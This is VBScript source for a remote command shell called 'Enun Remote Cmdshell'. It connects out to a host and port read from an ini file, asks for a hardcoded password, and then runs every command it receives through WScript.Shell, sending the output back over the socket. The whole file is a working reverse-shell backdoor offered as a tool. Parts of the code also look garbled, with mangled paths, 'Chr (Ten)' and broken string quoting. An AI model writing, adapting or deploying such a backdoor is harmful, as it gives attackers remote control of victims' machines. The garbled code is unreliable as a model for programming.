'============================
' Enun Remote Cmdshell v 1.0
'============================
Option Explicit
CONST account_lock_time = 600000 ' account lockout time, 10 minutes
CONST lockout_bad_count = 3 ' Password failed count
CONST default_wait_time = 1000 ' default delay, 1 seconds
CONST default_time_out = 60000 ' default timeout, 60 seconds
Public WinSocket, Srevdata, Count
Todo
On Error Resume Next
Do while (Winsocket.state <> 7)
Dim Objectfso, GetConfig, line, Host, Port, I
Set WinSocket = WScript.CreateObject ("Mswinsock.winsock")
Set Objectfso = CreateObject ("Scripting.FileSystemObject")
Set GetConfig = Objectfso.opentextfile (". \enunrc.ini", 1)
For i = 1 to 3
line = Getconfig.readline
If InStr (line, "host") > 0 Then host = Split (line, "=",-1, 1) (1)
If InStr (line, "Port") > 0 Then Port = Split (line, "=",-1, 1) (1)
Next
If (Len (Host) = 0) Then Host = "127.0.0.1"
If (Len (Port) = 0) Then Port = "8090"
Winsocket.protocol = 0
Winsocket.remotehost = Host
Winsocket.remoteport = Port
Winsocket.connect
Wscript.Sleep Default_wait_time * 5
Call Trackscript (2, winsocket.state, winsocket.bytesreceived)
' Setp:2
Loop
Do while (Winsocket.state <> 9 and winsocket.state <> 0)
Dim Authkey, Lockoutbadcount, Timeout_m, Timeout_n
Timeout_n = 0
Winsocket.senddata Winsocket.localhostname & "is Connected, Enter Password:"
Do while (winsocket.bytesreceived = 0 and winsocket.state <> 9 and winsocket.state <> 0)
Timeout_n = timeout_n + 1000
Call Controltimeout (Timeout_n)
Loop
Winsocket.getdata Authkey, vbstring
If Split (Authkey, Chr (Ten),-1, 1) (0) = "Veteran" Then
Winsocket.senddata "Logon Success, welcome!" & vbCrLf
Srevdata = "Veteran"
Do while (winsocket.bytesreceived = 0 and winsocket.state <> 9 and winsocket.state <> 0)
Dim Shellobj, executes
Set shellobj = CreateObject ("Wscript.Shell")
Set executes = shellobj.exec (Split (Srevdata, Chr (10),-1, 1) (0))
Winsocket.senddata Executes.StdOut.ReadAll
Winsocket.senddata Executes.StdErr.ReadAll
If (Len (Srevdata) > 0) Then
Timeout_m = 0
Winsocket.senddata vbCrLf & "[& Winsocket.localhostname &" @enun]#: "
Else
Do while (winsocket.bytesreceived = 0 and winsocket.state <> 9 and winsocket.state <> 0)
Timeout_m = timeout_m + 1000
Call Controltimeout (timeout_m)
Loop
End If
If (LCase (Left (Srevdata, 4)) = "Exit") Then Winsocket.close
Winsocket.getdata Srevdata, vbstring
Wscript.Sleep Default_wait_time
Call Trackscript (5, winsocket.state, winsocket.bytesreceived)
' Setp:5
Loop
Else
Lockoutbadcount = Lockoutbadcount + 1
Winsocket.senddata "Logon fail:unknown user name or bad password." & vbCrLf
Wscript.Sleep Default_wait_time
End If
If (Lockoutbadcount = lockout_bad_count) Then
Winsocket.senddata "Failed Too many times, the account has been-locked!" & vbCrLf
Wscript.Sleep Default_wait_time
Winsocket.close
Lockoutbadcount = 0
Wscript.Sleep Account_lock_time
' Lock account
End If
Call Trackscript (3, winsocket.state, winsocket.bytesreceived)
' Setp:3
Loop
Call Trackscript (1, winsocket.state, winsocket.bytesreceived)
' Setp:1
Loop
'=======================
' Control Timeout.
'=======================
Public Sub controltimeout (Count)
If Count = Default_time_out Then
Winsocket.senddata vbCrLf & "Local server response timeout, please reconnect ..." & vbCrLf
Wscript.Sleep Default_wait_time
Winsocket.close
' The control end has no input within 60 seconds, the connection is automatically disconnected and can be connected instantly.
Else
Wscript.Sleep Default_wait_time
End If
Call Trackscript (4, winsocket.state, winsocket.bytesreceived)
' Setp:4
End Sub
'=======================
' Track Script.
'=======================
Public Sub Trackscript (Mystep, statecode, bytesreceived)
WScript.Echo "Mystep:" & Mystep & ", Statecode:" & Statecode & ", Received:" & bytesreceived & "Bytes"
End Sub